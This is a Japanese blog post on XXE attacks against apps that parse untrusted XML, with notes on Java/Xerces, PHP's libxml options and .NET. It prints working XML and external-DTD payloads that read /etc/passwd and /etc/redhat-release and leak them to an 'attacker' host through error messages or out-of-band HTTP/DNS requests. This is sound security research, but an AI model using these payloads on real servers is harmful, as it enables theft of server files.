XMLをParseするアプリのセキュリティ(補足編)

以前の日記では、外部からのXMLをサーバサイドでParseするアプリへの攻撃の概要について書きました。

今日の日記では、何点か補足する事項について書きます。

ファイルの内容を盗み出す他の方法

前の日記の中で、サーバ上のファイルの内容を外部から盗み出すにはいくつかの条件があると書きました。

その条件のひとつに「コーディングのスタイル」がある、具体的には「textContent」で要素の内容を取得するアプリ(下のPHPコードではAのスタイルのアプリ)でのみ、サーバ上のファイルの内容を盗まれる可能性がある、と書きました。

<?php
...
$elm = $doc->getElementsByTagName('test')->item(0);

// A: 外部実体参照が展開される
$var = $elm->textContent;

// B: 外部実体参照は展開されない
$var = $elm->firstChild->nodeValue;

しかし、あの日記を書いて以降、Java+Xercesで試してみたところ、コーディングのスタイルにかかわらず、ファイルの内容を盗み出せる(可能性がある)ことに気がつきました。

例えば、攻撃者は、以下のようなXMLを攻撃対象サーバ上でParseさせます。

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://attacker/test.dtd" >
<foo>&e1;</foo>

外部DTDが有効になっている場合、攻撃者のサーバ(attacker)上のtest.dtdが読み込まれます。test.dtdの中身は以下のようにします。

<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://attacker/BLAH#%p1;'>">
%p2;

まず最初に、パラメータ実体である「%p1;」には、攻撃対象サーバ上の/etc/passwdファイルの中身をセットします。次の行では、外部実体「&e1;」を定義するためのパラメータ実体「%p2;」を定義し、最後の行で「%p2;」を展開します。

これにより外部実体「&e1;」が定義されますが、ここでattackerサーバが「/BLAH」に対するリクエストに404応答を返せば、以下のようなRuntime Exceptionが発生します。

java.lang.RuntimeException: java.io.FileNotFoundException: http://attacker/BLAH#root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
...

攻撃者がParse時のエラーメッセージを得られるケースでは、この手法を使って攻撃対象サーバ上のファイルを取得できることになります。

ただし、詳細は割愛しますが、この手法で取得できるファイルにはいろいろと制限があり、取得できないファイルも多くあります。また、このような冗舌なExceptionメッセージを出力しない実装のJavaライブラリもあると思われます。

それでは、Blind状態のアプリ(都合のよいエラーメッセージが得られないアプリ)は攻撃できないのかというと、そうでもありません。攻撃に成功するケースはかなり限定されますが、場合によってはファイルの中身を盗み出すことができます。

たとえば、外部のDTDを以下のように書き換えます。

<!ENTITY % p1 SYSTEM "file:///etc/redhat-release">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://attacker/%p1;'>">
%p2;

攻撃対象サーバから外部への通信が許可されているならば、これにより攻撃対象サーバのファイル(/etc/redhat-release)の中身が、attackerサーバ側のHTTPログに残ります。DTDの2行目にて「%p1;」を埋め込む箇所を変えれば、DNSログに必要な情報を残させることもできます。

ただし、URLやホスト名の文字列は、使える文字の種類や長さに関する厳しい制約があります。私が試した限り、その制約を満たさない限りはattackerサーバにDNS/HTTPのリクエストは送られませんでした。ですので、この手法で抜けるのは、中身が単純なファイル(たとえば/etc/redhat-releaseのようなファイル)に限られると思います。

PHPのDOM関数について

前回の日記には、PHPのDOM関数については、DTDや外部実体を使用禁止にする方法が見つけられなかったと書きました。

その後、もう少し調べてみたので、その結果を書きます。

PHPのDOM関数は内部的にlibxmlを使用しているので、libxmlのParseオプションを見てみます。以下は、libxmlの現時点での最新版(libxml2-2.6.9)の、parse.hに定義されているParseオプションです。

typedef enum {
    XML_PARSE_RECOVER   = 1<<0, /* recover on errors */
    XML_PARSE_NOENT     = 1<<1, /* substitute entities */
    XML_PARSE_DTDLOAD   = 1<<2, /* load the external subset */
    XML_PARSE_DTDATTR   = 1<<3, /* default DTD attributes */
    XML_PARSE_DTDVALID  = 1<<4, /* validate with the DTD */
    XML_PARSE_NOERROR   = 1<<5, /* suppress error reports */
    XML_PARSE_NOWARNING = 1<<6, /* suppress warning reports */
    XML_PARSE_PEDANTIC  = 1<<7, /* pedantic error reporting */
    XML_PARSE_NOBLANKS  = 1<<8, /* remove blank nodes */
    XML_PARSE_SAX1      = 1<<9, /* use the SAX1 interface internally */
    XML_PARSE_XINCLUDE  = 1<<10,/* Implement XInclude substitition  */
    XML_PARSE_NONET     = 1<<11,/* Forbid network access */
    XML_PARSE_NODICT    = 1<<12,/* Do not reuse the context dictionnary */
    XML_PARSE_NSCLEAN   = 1<<13,/* remove redundant namespaces declarations */
    XML_PARSE_NOCDATA   = 1<<14 /* merge CDATA as text nodes */
} xmlParserOption;

15種類のオプションが用意されていますが、やはり、DTDや外部実体の使用を禁止するためのオプションはありません(それらしい名前のオプションもありますが、期待通りには動きません)。したがってlibxmlを利用しているPHPのDOM関数でも、DTDや外部実体を禁止することはできないと思います。

なお、過去には、libxmlのメーリングリストにて、外部実体対策を意図したであろうParseオプションを追加するような提案がされたことがあります。

[xml] new PARSER_NO_DISK_ACCESS constant

ただしこの提案は採用されなかった模様です。

.NETについて

私自身は、.NET環境でのXML処理はやったことがありませんが、非常によさそうな情報があるので紹介します。

System.Xml のセキュリティに関する考慮事項